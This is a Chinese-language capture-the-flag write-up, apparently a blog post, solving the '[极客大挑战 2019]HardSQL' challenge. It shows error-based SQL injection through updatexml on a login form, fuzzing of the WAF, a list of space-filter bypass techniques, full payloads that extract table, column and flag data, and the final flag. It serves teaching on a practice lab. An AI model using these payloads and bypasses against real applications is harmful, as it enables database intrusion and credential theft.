HardSQL[极客大挑战2019]是做什么用的?

摘要:[极客大挑战 2019]HardSQL 01 判断注入点 这里的靶场环境是处于一个登录框的位置 这里从源码出分析,提交之后,Get类型的请求转到check.php,输入正常的账户密码之后,请求参数是username和password,这是正
[极客大挑战 2019]HardSQL 01 判断注入点 这里的靶场环境是处于一个登录框的位置 这里从源码出分析,提交之后,Get类型的请求转到check.php,输入正常的账户密码之后,请求参数是username和password,这是正常页面的返回结果 题目提示是sql注入,那么我们现在需要去判断这个注入点和注入类型了,在username这个参数后跟单引号'后 这里发现出现报错,以及sql的报错语句,那么我们判定这里是存在sql注入的,原代码情形还原如下: SELECT * FROM users WHERE username='$username' ![img](https://img2024.cnblogs.com/blog/3199791/202604/3199791-20260405132914268-237470564.png)AND password='$password' 当我们输入username=admin'&password=admin时,拼接后的 SQL 语句变成了: SELECT * FROM users WHERE username='admin'' AND password='admin' 我们输入的单引号'提前闭合了 SQL 语句里原本的左单引号,多出来的 1 个单引号破坏了后续的 SQL 语法结构,MariaDB数据库无法执行这条错误的语句,因此抛出了语法报错。 02 寻找注入方法 ​ 而且既然这个地方直接爆出sql语法错误,那我们就可以尝试一波报错注入,【这里参考:SQL注入漏洞 | 狼组安全团队公开知识库】,这里常用的两个报错注入函数 --xpath语法错误 extractvalue() --查询节点内容 updatexml() --修改查询到的内容 ​ 那么我们接下来就尝试去试着构造sql的paylaod语句,通过报错信息带回我们想要的数据 ?username=admin' and updatexml(1,concat(0x7e,database()),1)#&password=123456 0x7e是"~"符号的16进制,在这作为分隔符,方便我们观察结果 然而返回的结果并不理想,显然,这个地方是存在过滤的,有waf检测到我们的危险关键词或者危险关键字符,比如and,or之类,尝试一下万能密码 ' or 1=1# 注入点防止password处 ​ 第一次注入点是username处,但是由于#注释掉了后面的password这个参数,所以是正常返回,因为还没有到后端waf处就被打回来了(因为password不能为空),而第二次注入点在password,可以发现,提交到后端之后,被waf检测到,并给出waf警告返回 ​ 那么,这次可以知道的是,#是没有被检测的,其余的暂时不好说,这里没有次数限制,我们可以直接用burp爆破一遍sql字典,看看返回结果来判断检测了什么字符 这里可以发现很多都被过滤了,包括union,sleep,by,= 等等, 以及可以利用的select,from,or,database,like,left,right等等,还是有很多可以利用的 确认updatexml,concat,( ,) 都可用,但是这个语句不行 ?username=admin&password=123456' or updatexml(1,concat(0x7e,database()),1)# 也就是说,空格是被过滤掉的,常用的绕过空格的方法 -- 1. 注释代替空格(最常用) UNION/**/SELECT/**/1,2,3 -- 2. URL编码 UNION%20SELECT%201,2,3 -- 3. + 号代替空格(GET参数) UNION+SELECT+1,2,3 -- 4. 括号绕过 UNION(SELECT(1),(2),(3)) -- 5. 换行 / 制表符 UNION%0aSELECT%0a1,2,3 UNION%09SELECT%091,2,3 -- 6. MySQL特殊注释 UNION/*!SELECT*/1,2,3 -- 7. 关键字拆分(配合注释) UN/**/ION SEL/**/ECT 1,2,3 -- 8. 无空格表达式 WHERE(id=1) id=1AND1=1 -- 9. 函数嵌套 SELECT(1),(2),(3) SELECT/**/concat(1,2,3) -- 10. 逻辑表达式替代 OR(1=1) ||(1=1) 03 开始注入 ​ 在知道注入类型,过滤关键字,和绕过思路之后,我们就可以开始正式注入了,这里我们可以知道+号和内联注释都是被过滤了的,但是函数嵌套和括号没有,那我们直接通过括号绕过空格 ?username=admin&password=123456'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23 注意:%23 --- # 这里需要把#先做一次%23编码 库名 拿到geek库名, 含参数: ?username=admin&password=123456'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23 具体语句: 'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23 表名 XPATH syntax error: 'H4rDsq1' 有了表名,直接拿字段名 'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%23 字段名 XPATH syntax error: '~id,username,password' 我们直接去查username 'or(updatexml(1,concat(0x7e,(select(username)from(H4rDsq1)),0x7e),1))%23 有flag,直接在password里查flag 'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23 只有前半段,需要截后半段,不可以用substr,mid,因为之前发现是被禁掉的,所以这里只能用left,right构造 'or(updatexml(1,concat(0x7e,(select(right(left(password,60),30))from(H4rDsq1))),1))%23 最后拼接拿到flag flag{39b5dd0d-9058-45f1-b644-36 d-9058-45f1-b644-36c2bf764074} flag{39b5dd0d-9058-45f1-b644-36c2bf764074} ---END